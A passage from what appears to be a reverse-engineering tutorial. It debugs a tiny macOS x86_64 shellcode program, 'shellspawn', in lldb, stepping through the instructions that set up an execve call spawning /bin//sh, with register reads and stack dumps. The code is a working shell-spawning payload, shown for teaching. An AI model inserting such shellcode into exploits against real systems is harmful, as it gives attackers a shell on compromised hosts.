</ul>
<p>We invoke syscalls by loading in the register RAX (the <strong>accumulation register</strong>, which is used for I/O port access, arithmetic, interrupt calls, etc.) the number of the syscall added to <code>0x2000000</code>.</p>
<p>Having said this, we need to understand <em>how</em> to find syscalls numbers. Here is where the <strong>syscalls.master</strong> comes into play. In fact, there is where all the syscalls are defined:</p>
<pre><code><span class="hljs-number">0</span>    AUE_NULL    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">nosys</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>; }   { indirect syscall }
<span class="hljs-number">1</span>    AUE_EXIT    ALL    { <span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">exit</span><span class="hljs-params">(<span class="hljs-keyword">int</span> rval)</span> NO_SYSCALL_STUB</span>; }
<span class="hljs-number">2</span>    AUE_FORK    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">fork</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> NO_SYSCALL_STUB</span>; }
<span class="hljs-number">3</span>    AUE_NULL    ALL    { <span class="hljs-function"><span class="hljs-keyword">user_ssize_t</span> <span class="hljs-title">read</span><span class="hljs-params">(<span class="hljs-keyword">int</span> fd, <span class="hljs-keyword">user_addr_t</span> cbuf, <span class="hljs-keyword">user_size_t</span> nbyte)</span></span>; }
<span class="hljs-number">4</span>    AUE_NULL    ALL    { <span class="hljs-function"><span class="hljs-keyword">user_ssize_t</span> <span class="hljs-title">write</span><span class="hljs-params">(<span class="hljs-keyword">int</span> fd, <span class="hljs-keyword">user_addr_t</span> cbuf, <span class="hljs-keyword">user_size_t</span> nbyte)</span></span>; }
[... SNIP ...]
<span class="hljs-number">57</span>    AUE_SYMLINK    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">symlink</span><span class="hljs-params">(<span class="hljs-keyword">char</span> *path, <span class="hljs-keyword">char</span> *link)</span></span>; }
<span class="hljs-number">58</span>    AUE_READLINK    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">readlink</span><span class="hljs-params">(<span class="hljs-keyword">char</span> *path, <span class="hljs-keyword">char</span> *buf, <span class="hljs-keyword">int</span> count)</span></span>; }
<span class="hljs-number">59</span>    AUE_EXECVE    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">execve</span><span class="hljs-params">(<span class="hljs-keyword">char</span> *fname, <span class="hljs-keyword">char</span> **argp, <span class="hljs-keyword">char</span> **envp)</span></span>; }
<span class="hljs-number">60</span>    AUE_UMASK    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">umask</span><span class="hljs-params">(<span class="hljs-keyword">int</span> newmask)</span></span>; }
<span class="hljs-number">61</span>    AUE_CHROOT    ALL    { <span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">chroot</span><span class="hljs-params">(<span class="hljs-keyword">user_addr_t</span> path)</span></span>; }
[... SNIP ...]
</code></pre><p>So the code moves into RAX the value 59, which is linked to the <code>execve</code> syscall. This API requires:</p>
<ul>
<li><code>fname</code>, which is a pointer to a char array (in plain English: a string)</li>
<li><code>argp</code>, which is a pointer to a pointer to a char array (in plain English: an array of strings)</li>
<li><code>envp</code>, which is a pointer to a pointer to a char array (in plain English: an array of strings)</li>
</ul>
<p>A quick look at the man page (<code>man 2 execve</code>) gives a clearer explanation. For starters, the signature of this API is:</p>
<pre><code><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">execve</span><span class="hljs-params">(<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *path, <span class="hljs-keyword">char</span> *<span class="hljs-keyword">const</span> argv[], <span class="hljs-keyword">char</span> *<span class="hljs-keyword">const</span> envp[])</span></span>;
</code></pre><p>and the description states:</p>
<blockquote>
<p><code>execve()</code> transforms the calling process into a new process.  The new process is constructed from an ordinary file, whose name is pointed to by path, called the new process file.  This file is either an executable object file, or a file of data for an interpreter.  An executable object file consists of an identifying header, followed by pages of data representing the initial program (text) and initialized data pages.</p>
<p>[...]</p>
<p>If any optional args are specified, they become the first (second, ...) argument to the interpreter</p>
<p>[...]</p>
<p>The zeroth argument, normally the name of the execve()'d file, is left unchanged.</p>
<p>[...]</p>
<p>The argument <code>argv</code> is a pointer to a <strong>null-terminated array</strong> of character pointers to null-terminated character strings.  These strings construct the argument list to be made available to the new process.  At least one argument must be present in the array; by custom, the first element should be the name of the executed program (for example, the last component of path).</p>
<p>[...]</p>
<p>The argument <code>envp</code> is also a pointer to a <strong>null-terminated array</strong> of character pointers to null-terminated strings.  A pointer to this array is normally stored in the global variable <code>environ</code>. These strings pass information to the new process that is not directly an argument to the command (see environ(7)).</p>
<p>[...]</p>
</blockquote>
<p>Nuff said. Let's go through the code. The best way to do this is to debug it. We have seen already how this can be done with lldb in a previous <a target="_blank" href="https://blog.reveng3.org/debugging-with-lldb-part-1">article</a>, but first it is meaningful to see the sections of this binary:</p>
<pre><code><span class="hljs-attribute">objdump</span> --arch=x<span class="hljs-number">86</span>_<span class="hljs-number">64</span> -m --section-headers shellspawn

<span class="hljs-attribute">Sections</span>:
<span class="hljs-attribute">Idx</span> Name          Size     VMA              Type
  <span class="hljs-attribute">0</span> __text        <span class="hljs-number">0000001</span>a <span class="hljs-number">0000000100003</span>f<span class="hljs-number">9</span>e TEXT
  <span class="hljs-attribute">1</span> __unwind_info <span class="hljs-number">00000048</span> <span class="hljs-number">0000000100003</span>fb<span class="hljs-number">8</span> DATA
</code></pre><p>Time to disassemble. As I usually do, I start with a breakpoint in the <code>main</code> routine and disassemble it. The result won't be much different from what we wrote:</p>
<pre><code>(lldb) breakpoint set <span class="hljs-operator">-</span>name main
Breakpoint <span class="hljs-number">1</span>: where <span class="hljs-operator">=</span> shellspawn`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x0000000100003f9e</span>
(lldb) breakpoint list
Current breakpoints:
<span class="hljs-number">1</span>: name <span class="hljs-operator">=</span> <span class="hljs-string">'main'</span>, locations <span class="hljs-operator">=</span> <span class="hljs-number">1</span>
  <span class="hljs-number">1.1</span>: where <span class="hljs-operator">=</span> shellspawn`main, <span class="hljs-keyword">address</span> <span class="hljs-operator">=</span> shellspawn[<span class="hljs-number">0x0000000100003f9e</span>], unresolved, hit count <span class="hljs-operator">=</span> <span class="hljs-number">0</span> 

(lldb) disassemble <span class="hljs-operator">-</span>n main
shellspawn`main:
shellspawn[<span class="hljs-number">0x100003f9e</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">0</span><span class="hljs-operator">&gt;</span>:  xor    esi, esi
shellspawn[<span class="hljs-number">0x100003fa0</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">2</span><span class="hljs-operator">&gt;</span>:  mul    esi
shellspawn[<span class="hljs-number">0x100003fa2</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">4</span><span class="hljs-operator">&gt;</span>:  bts    eax, <span class="hljs-number">0x19</span>
shellspawn[<span class="hljs-number">0x100003fa6</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">8</span><span class="hljs-operator">&gt;</span>:  mov    al, <span class="hljs-number">0x3b</span>
shellspawn[<span class="hljs-number">0x100003fa8</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">10</span><span class="hljs-operator">&gt;</span>: movabs rbx, <span class="hljs-number">0x68732f2f6e69622f</span>
shellspawn[<span class="hljs-number">0x100003fb2</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">20</span><span class="hljs-operator">&gt;</span>: push   rdx
shellspawn[<span class="hljs-number">0x100003fb3</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">21</span><span class="hljs-operator">&gt;</span>: push   rbx
shellspawn[<span class="hljs-number">0x100003fb4</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">22</span><span class="hljs-operator">&gt;</span>: push   rsp
shellspawn[<span class="hljs-number">0x100003fb5</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">23</span><span class="hljs-operator">&gt;</span>: pop    rdi
shellspawn[<span class="hljs-number">0x100003fb6</span>] <span class="hljs-operator">&lt;</span><span class="hljs-operator">+</span><span class="hljs-number">24</span><span class="hljs-operator">&gt;</span>: syscall
</code></pre><p>The first operation is actually an <code>xor</code> that zeroes the contents of the ESI register (every value XORred with itself returns zero).
Then there is the <code>mul</code> instruction. It is the mnemonic for <code>mul</code>tiply and it has quite a peculiar syntax, because some of its operands are implicit. This instruction performs an <em>unsigned multiplication</em> of the first operand (destination operand) and the second operand (source operand) and stores the result in the destination operand. The destination operand is implied, and it is EAX (or RAX). So, writing <code>mul src</code> means multiplying <code>rax</code> and <code>src</code> as unsigned integers, and putting the result in <code>rax</code> and the high 64 bits of the product into <code>rdx</code>. In this case, the result of the instruction <code>0x100003fa0</code> is zeroing both RAX and RDX. 
After the instruction is executed, we have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">61834</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fa2 shellspawn`main + 4</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fa2</span> <span class="hljs-string">&lt;+4&gt;:</span>  <span class="hljs-string">bts</span>    <span class="hljs-string">eax,</span> <span class="hljs-number">0x19</span>
    <span class="hljs-number">0x100003fa6</span> <span class="hljs-string">&lt;+8&gt;:</span>  <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0x3b</span>
    <span class="hljs-number">0x100003fa8</span> <span class="hljs-string">&lt;+10&gt;:</span> <span class="hljs-string">movabs</span> <span class="hljs-string">rbx,</span> <span class="hljs-number">0x68732f2f6e69622f</span>
    <span class="hljs-number">0x100003fb2</span> <span class="hljs-string">&lt;+20&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rdx</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span> <span class="hljs-string">RDX</span> <span class="hljs-string">RSI</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
     <span class="hljs-string">rdx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
     <span class="hljs-string">rsi</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000000000000</span>
</code></pre><p>The next instruction, <code>bts</code> is <em>bit test and set</em>. It selects the bit in a bit string (specified with the first operand, called the bit base) at the bit-position designated by the bit offset operand (second operand), stores the value of the bit in the CF flag, and sets the selected bit in the bit string to 1. </p>
<p>EAX is a 32 bits register zeroed; and 0x19=25; this means that the result of the operation will be a string of all 0, apart for the 25th bit, set to 1: <code>0000 0010 0000 0000 0000 0000 0000 0000</code> or <code>0x02000000</code>, and in fact we have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">61834</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fa6 shellspawn`main + 8</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fa6</span> <span class="hljs-string">&lt;+8&gt;:</span>  <span class="hljs-string">mov</span>    <span class="hljs-string">al,</span> <span class="hljs-number">0x3b</span>
    <span class="hljs-number">0x100003fa8</span> <span class="hljs-string">&lt;+10&gt;:</span> <span class="hljs-string">movabs</span> <span class="hljs-string">rbx,</span> <span class="hljs-number">0x68732f2f6e69622f</span>
    <span class="hljs-number">0x100003fb2</span> <span class="hljs-string">&lt;+20&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rdx</span>
    <span class="hljs-number">0x100003fb3</span> <span class="hljs-string">&lt;+21&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbx</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">RAX</span>
     <span class="hljs-string">rax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0000000002000000</span>
</code></pre><p>The next instruction pushes <code>0x3b</code> into the lowest part of the RAX/EAX register; in decimal, this is 59, the number of our syscall. In practical terms, after the execution of this instruction, we expect that the register RAX will contain <code>0x000000000200003b</code>; and coherently we have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">61834</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fa8 shellspawn`main + 10</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fa8</span> <span class="hljs-string">&lt;+10&gt;:</span> <span class="hljs-string">movabs</span> <span class="hljs-string">rbx,</span> <span class="hljs-number">0x68732f2f6e69622f</span>
    <span class="hljs-number">0x100003fb2</span> <span class="hljs-string">&lt;+20&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rdx</span>
    <span class="hljs-number">0x100003fb3</span> <span class="hljs-string">&lt;+21&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbx</span>
    <span class="hljs-number">0x100003fb4</span> <span class="hljs-string">&lt;+22&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rsp</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">EAX</span>
     <span class="hljs-string">eax</span> <span class="hljs-string">=</span> <span class="hljs-number">0x0200003b</span>
</code></pre><p>So far, the instructions in the disassembled did not differ from the original ones, now we have quite a discrepancy, but here? How can <code>mov rbx, '/bin//sh'</code> translate in <code>movabs rbx, 0x68732f2f6e69622f</code>? Well, <code>68732f2f6e69622f</code> is 16 chars, just exactly as the string '/bin//sh'. If we translate bitwise the string in ASCII we have:</p>
<table>
  <tr>
    <td>68</td>
    <td>73</td>
    <td>2f</td>
    <td>2f</td>
    <td>6e</td>
    <td>69</td>
    <td>62</td>
    <td>2f</td>
  </tr>
<tr>
    <td>h</td>
    <td>s</td>
    <td>/</td>
    <td>/</td>
    <td>n</td>
    <td>i</td>
    <td>b</td>
    <td>/</td>
  </tr>
</table>

<p>which is <code>/bin//sh/</code> written backwards. This has to do with the endianness of macOS, which is little-endian. Shortly, this pushes the absolute value of the string into <code>rbx</code>:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">61834</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fb2 shellspawn`main + 20</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fb2</span> <span class="hljs-string">&lt;+20&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rdx</span>
    <span class="hljs-number">0x100003fb3</span> <span class="hljs-string">&lt;+21&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rbx</span>
    <span class="hljs-number">0x100003fb4</span> <span class="hljs-string">&lt;+22&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rsp</span>
    <span class="hljs-number">0x100003fb5</span> <span class="hljs-string">&lt;+23&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rdi</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rbx</span>
     <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x68732f2f6e69622f</span>
</code></pre><p>So far, the RSI and RDX registers have been instantiated. Furthermore, RAX has been initialised with the syscall code. Now the only need to instantiate the value of RDI. This next instruction would push the current value of rdx (<code>0x0</code>) in the stack. </p>
<p>For starters, before executing the instruction we read the value of the stack pointer register:</p>
<pre><code>(lldb) register <span class="hljs-keyword">read</span> rsp
     rsp = <span class="hljs-number">0x00007ff7bfeff888</span>
</code></pre><p>and we do the same after the instruction is run:</p>
<pre><code>(lldb) register <span class="hljs-keyword">read</span> rsp
     rsp = <span class="hljs-number">0x00007ff7bfeff880</span>
</code></pre><p>This also highlights how the stack grows to lower memory addresses.</p>
<p>If we were to examine the memory area pointed by RSP before the instruction is executed, we'd see:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-number">-64</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-string">+64</span>
<span class="hljs-attr">0x7ff7bfeff848:</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">9e</span> <span class="hljs-string">3f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.........?......</span>
<span class="hljs-attr">0x7ff7bfeff858:</span> <span class="hljs-number">10</span> <span class="hljs-number">40</span> <span class="hljs-number">07</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">80</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.@..............</span>
<span class="hljs-attr">0x7ff7bfeff868:</span> <span class="hljs-number">83</span> <span class="hljs-number">28</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">25</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.(......%.......</span>
<span class="hljs-attr">0x7ff7bfeff878:</span> <span class="hljs-number">60</span> <span class="hljs-number">00</span> <span class="hljs-string">0c</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">90</span> <span class="hljs-string">f9</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">`...............</span>
<span class="hljs-attr">0x7ff7bfeff888:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff898:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8a8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8b8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">83</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">...B............</span>
</code></pre><p>After the instruction, we'd have:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-number">-64</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-string">+64</span>
<span class="hljs-attr">0x7ff7bfeff848:</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">9e</span> <span class="hljs-string">3f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.........?......</span>
<span class="hljs-attr">0x7ff7bfeff858:</span> <span class="hljs-number">10</span> <span class="hljs-number">40</span> <span class="hljs-number">07</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">80</span> <span class="hljs-string">f8</span> <span class="hljs-string">ef</span> <span class="hljs-string">bf</span> <span class="hljs-string">f7</span> <span class="hljs-string">7f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.@..............</span>
<span class="hljs-attr">0x7ff7bfeff868:</span> <span class="hljs-number">83</span> <span class="hljs-number">28</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">25</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.(......%.......</span>
<span class="hljs-attr">0x7ff7bfeff878:</span> <span class="hljs-number">60</span> <span class="hljs-number">00</span> <span class="hljs-string">0c</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">`...............</span>
<span class="hljs-attr">0x7ff7bfeff888:</span> <span class="hljs-string">1e</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff898:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8a8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">................</span>
<span class="hljs-attr">0x7ff7bfeff8b8:</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">42</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">83</span> <span class="hljs-string">d5</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">...B............</span>
</code></pre><p>Exactly in the same manner, the contents of rbx is pushed in the stack:</p>
<pre><code><span class="hljs-string">(lldb)</span> <span class="hljs-string">register</span> <span class="hljs-string">read</span> <span class="hljs-string">rbx</span>
     <span class="hljs-string">rbx</span> <span class="hljs-string">=</span> <span class="hljs-number">0x68732f2f6e69622f</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">s</span>
<span class="hljs-string">Process</span> <span class="hljs-number">71654</span> <span class="hljs-string">stopped</span>
<span class="hljs-string">*</span> <span class="hljs-string">thread</span> <span class="hljs-comment">#1, queue = 'com.apple.main-thread', stop reason = instruction step into</span>
    <span class="hljs-string">frame</span> <span class="hljs-comment">#0: 0x0000000100003fb4 shellspawn`main + 22</span>
<span class="hljs-string">shellspawn`main:</span>
<span class="hljs-string">-&gt;</span>  <span class="hljs-number">0x100003fb4</span> <span class="hljs-string">&lt;+22&gt;:</span> <span class="hljs-string">push</span>   <span class="hljs-string">rsp</span>
    <span class="hljs-number">0x100003fb5</span> <span class="hljs-string">&lt;+23&gt;:</span> <span class="hljs-string">pop</span>    <span class="hljs-string">rdi</span>
    <span class="hljs-number">0x100003fb6</span> <span class="hljs-string">&lt;+24&gt;:</span> <span class="hljs-string">syscall</span> 
    <span class="hljs-attr">0x100003fb8:</span>       <span class="hljs-string">add</span>    <span class="hljs-string">dword</span> <span class="hljs-string">ptr</span> [<span class="hljs-string">rax</span>]<span class="hljs-string">,</span> <span class="hljs-string">eax</span>
<span class="hljs-attr">Target 0:</span> <span class="hljs-string">(shellspawn)</span> <span class="hljs-string">stopped.</span>
<span class="hljs-string">(lldb)</span> <span class="hljs-string">memory</span> <span class="hljs-string">read</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-number">-64</span> <span class="hljs-number">0x00007ff7bfeff888</span><span class="hljs-string">+64</span>
<span class="hljs-attr">0x7ff7bfeff848:</span> <span class="hljs-string">a0</span> <span class="hljs-number">83</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-string">9e</span> <span class="hljs-string">3f</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>  <span class="hljs-string">.........?......</span>
